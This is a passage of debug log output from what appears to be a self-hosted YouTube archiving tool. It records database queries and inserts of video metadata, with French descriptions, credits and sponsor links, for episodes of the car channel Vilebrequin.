(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "44950754-b018-477a-8303-727dc7bbc0b7", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", 8, "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, false, false, 1, [], 98, ~U[2023-10-19 16:15:00Z], ~U[2026-04-20 05:42:47Z], ~U[2026-04-20 05:42:47Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, 1, ~U[2023-10-19 16:15:00Z]] 07:42:47.238 [debug] QUERY OK source="sources" db=0.9ms idle=295.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:47.239 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=12.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:47.241 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=11.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 07:42:47.241 [debug] Current batch of media processed. Will check again in 1000ms 07:42:48.242 [debug] Current batch of media processed. Will check again in 1000ms 07:42:49.243 [debug] Current batch of media processed. Will check again in 1000ms 07:42:50.244 [debug] Current batch of media processed. Will check again in 1000ms 07:42:51.245 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "duration" => 2170, "filename" => "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", "id" => "QrY57Hf8Ss8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QrY57Hf8Ss8", "playlist_index" => 9, "timestamp" => 1697127302, "title" => "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "upload_date" => "20231012"} 07:42:51.247 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=948.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:51.250 [debug] QUERY OK source="sources" db=1.7ms queue=0.2ms idle=950.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:51.254 [debug] QUERY OK source="media_items" db=3.4ms queue=0.4ms idle=953.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-12 16:15:02Z], 1] 07:42:51.258 [debug] QUERY OK source="media_items" db=3.4ms idle=957.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "a13f3c6e-8c5d-4250-9189-5947366b2494", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", 9, "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, false, false, 1, [], 98, ~U[2023-10-12 16:15:02Z], ~U[2026-04-20 05:42:51Z], ~U[2026-04-20 05:42:51Z], "10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, 1, ~U[2023-10-12 16:15:02Z]] 07:42:51.260 [debug] QUERY OK source="sources" db=0.9ms idle=297.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:51.261 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=13.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:51.263 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=12.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 07:42:51.263 [debug] Current batch of media processed. Will check again in 1000ms 07:42:52.264 [debug] Current batch of media processed. Will check again in 1000ms 07:42:53.266 [debug] Current batch of media processed. Will check again in 1000ms 07:42:54.267 [debug] Current batch of media processed. Will check again in 1000ms 07:42:55.269 [debug] Current batch of media processed. Will check again in 1000ms 07:42:56.270 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "duration" => 2563, "filename" => "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", "id" => "sANRmxhTRJY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sANRmxhTRJY", "playlist_index" => 10, "timestamp" => 1696522505, "title" => "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "upload_date" => "20231005"} 07:42:56.272 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=1973.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:56.274 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=1975.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:56.279 [debug] QUERY OK source="media_items" db=3.7ms queue=0.8ms idle=1297.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-05 16:15:05Z], 1] 07:42:56.284 [debug] QUERY OK source="media_items" db=4.3ms idle=982.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "7b582656-8dab-4597-a7cb-f02722c52877", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", 10, "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, false, false, 1, [], 98, ~U[2023-10-05 16:15:05Z], ~U[2026-04-20 05:42:56Z], ~U[2026-04-20 05:42:56Z], "Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, 1, ~U[2023-10-05 16:15:05Z]] 07:42:56.286 [debug] QUERY OK source="sources" db=1.1ms queue=0.3ms idle=304.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 